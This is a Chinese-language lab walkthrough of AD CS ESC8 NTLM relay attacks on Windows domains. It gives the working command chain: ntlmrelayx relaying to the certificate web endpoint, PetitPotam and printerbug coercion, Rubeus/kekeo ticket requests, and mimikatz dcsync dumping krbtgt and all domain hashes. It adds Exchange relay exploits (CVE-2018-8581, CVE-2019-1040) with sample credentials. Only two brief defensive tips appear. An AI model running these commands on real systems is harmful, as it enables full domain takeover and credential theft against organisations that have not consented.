前言
ADCS ESC8 也被叫做ADCS Relay,是目前ADCS里面利用最廣的一個洞
adcs esc1-esc8 相關:https://mp.weixin.qq.com/s/CG-kSHyWDnUERL4NGddiRw
漏洞利用原因:
由於ADCS的http證書接口沒有啟用NTLM中繼保護,因此其易受NTLM Relay攻擊。而且Authorization HTTP 標頭明確只允許通過 NTLM 身份驗證,因此Kerberos協議無法使用。因此,攻擊者可以利用NTLM Relay攻擊ADCS證書服務。
1.通過ntlm_relay,我們獲得一個以機器A用戶認證的證書
2.我們通過Rubeus asktgt功能用這個證書向AD發起kerberos認證
3.我們獲取到TGT並請求目標機器的TGS,獲取權限
一.添加ADCS服務
添加ADCS服務
選擇證書頒發機構
點擊直接安裝
二.配置ADCS服務
選擇企業CA
右鍵復制模板
修改名稱為LDAPS
右擊屬性--->請求處理--->導出私鑰
新建 要頒發的模板
申請新證書
三.ADCS-ESC8 攻擊
PDC 192.168.184.217
BDC 192.168.184.216 (ADCS)
Kali 192.168.184.135
server2012 192.168.184.238
(1)通過證書查找證書服務器
certutil -config - -ping
certutil -ca
(2)ntlmrelayx 監聽
需要使用新版的impacket (https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack)
sudo python3 ntlmrelayx.py -t http://192.168.184.216/certsrv/certfnsh.asp -smb2support --adcs
(3)觸發回連
使用腳本觸發輔助域控回連我們的攻擊機器,這里可以使用最新的Petitpotam.py,也可以使用printerbug.py
1.PetitPotam
python3 PetitPotam.py kali ip dc ip
python3 PetitPotam.py 192.168.184.135 192.168.184.217
2.printerbug(需要應該域內的用戶賬戶)
python3 printerbug.py mark/hacker@dcip kaliip
python3 printerbug.py mark/hacker@192.168.184.217 192.168.184.135
(4)ntlmrelayx成功進行relay,並獲取到證書信息
(5)獲取域管
有了這個證書之后,可以直接使用kekeo或者rubeus,申請tgt,從而能夠dcsync
kekeo:
base64 /input:on
tgt::ask /pfx:xxx /user:DC01$ /ptt
rubeus:
Rubeus.exe asktgt /user:DC01$ /certificate:xxx /ptt
使用mimikatz即可導出域內任意用戶哈希
mimikatz.exe
#查看kerberos票據
kerberos::list
#導出krbtgt用戶的hash
lsadump::dcsync /user:krbtgt /csv
#導出域內hash
lsadump::dcsync /all /csv /domain:mark.com
踩坑點:
(1)rubeus報錯1
解決方法:使用rubeus 1.6.4 新版
(2)rubeus報錯2
KRB-ERROR (62) : KDC_ERR_CLIENT_NOT_TRUSTED
解決方法
打開組策略,計算機配置\Windows 設置\安全設置\本地策略\安全選項,找到配置 Kerberos 允許的加密類型,將下面全部勾選即可
勾選后,重新啟動就可以獲取TGT了
檢測和防御
- 如果不需要,可以關閉證書服務的web端點。
- 可以將我們relay到的web端點
certsrv
,該iis配置中的ntlm認證刪除,這樣就無法使用ntlm進行認證,也就封堵了relay攻擊。
四.關於NTLM請求【摘自evi1cg文章】
(1)被動觸發
常規方式就是構造一個UNC路徑,讓我們的目標來訪問,如:
dir \\hostshare\xx
或者發一個郵件,里面包含一個圖片,然后帶了unc的路徑,如:
<img src="\\hostshare\xx">
被動觸發一般比較是被動,一般使用主動觸發
(2)主動觸發
多數主動觸發需要我們擁有域內成員賬號密碼。
exchange
exchange作為一個高價值目標,默認情況下,Exchange Windows Permissions
安全組對安裝exchange的域的域對象具有writeDACL
權限,這就意味着,我們可以進行權限的提升。利用Exchange也很有可能直接拿下域控。
1.cve-2018-8581
該漏洞本質上是一個 SSRF 漏洞,漏洞成因主要是由於 exchange 底層邏輯中訪問用戶‘訂閱’時,會使用系統用戶的 net-ntlm hash 去訪問目標地址。因此,可以構造惡意服務器抓取 exchange 服務器系統賬戶的 net-ntlm hash 並重放,中繼到管理員權限。
利用Relay來直接獲取指定用戶Hash
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d
domain.com -th DCip MailServerip
2.cve-2019-1040
利用exchange漏洞和打印機bug漏洞,進行中繼和回連
https://www.cnblogs.com/mrhonest/p/14187849.html#漏洞概述
1.攻擊機開啟中繼
impacket-ntlmrelayx --escalate-user chenli -t ldap://192.168.110.12 -smb2support --remove-mic --delegate-access -debug
2.使用打印機漏洞
windows:
spoolsample.exe exchangeIP 攻擊機IP
kali:
python3 printerbug.py sync.net/chenli:cl123\!\@\#45@192.168.110.81 192.168.1.103
RPC的利用
1.打印機bug漏洞
微軟官方認為是正常業務,也不給出補丁。微軟的spoolsv.exe注冊了一個服務和若干個rpc。允許認證用戶遠程調用,其中RemoteFindFirstPrinterChangeNotificationEx
這個函數運行傳進一個unc
路徑,打印機服務就會去請求該unc
路徑。由於打印機是以system
權限運行的,所以我們訪問打印機rpc,迫使打印機服務向我們發起請求拿到的net-ntlm hash
是機器用戶hash
。
python printerbug.py cgdomain.com/test:'1qaz@WSX'@10.211.55.201 10.211.55.2
2.PetitPotam
PetitPotam是今年7月剛剛出的新的rpc利用方式,補丁更新后好多打印服務被關閉,有攻擊者研究出通過efs進行rpc攻擊方式
加密文件系統(EFS)是微軟 Windows 在 NTFS3.0 中引入的一個功能,它提供文件系統級加密。此技術使文件支持透明加密以保護機密數據免受具有物理訪問權限的攻擊者侵害。EFS從Windows 2000起在所有為商業環境開發的Windows版本中可用.
該漏洞利用了微軟加密文件系統遠程協議(MS-EFSRPC,MicroSoft Encrypting File System Remote Protocol)。MS-EFSRPC是 Microsoft 的加密文件系統遠程協議,用於對遠程存儲和通過網絡訪問的加密數據執行“維護和管理操作”。利用該漏洞,黑客通過連接到LSARPC強制觸發目標機器向指定遠程服務器發送Net-NTLM Hash,從而攻擊者在拿到Net-NTLM Hash后能進行NTLM Relay攻擊,進而接管整個域。該漏洞可以用於替代Printerbug。
攻擊者可以通過使用 MS-EFSRPC 協議將 DC NTLM 憑據中繼到 Active Directory 證書服務 AD CS Web 注冊頁面以注冊 DC 證書,從而以域控制器為目標來發送其憑據
和之前的printer bug
利用類似,EFS的rpc,允許惡意域用戶/或機器賬號控制其它機器外發認證。SERVER2012以下支持匿名觸發,server2016以上匿名管道默認為空,需要憑據觸發
python Petitpotam.py -u sanfeng -p '1qaz@WSX' -d cgdomain.com 10.211.55.2 10.211.55.202
(3)全補丁的情況下
如果安裝證書服務,可使用ADCS
參考文章:
https://evi1cg.me/archives/NTLMRelay.html
https://mp.weixin.qq.com/s/AmcC4DzmowbE3vQC0GYpag
https://mp.weixin.qq.com/s/1AjmiaDOIKbYIAu7VAwIQg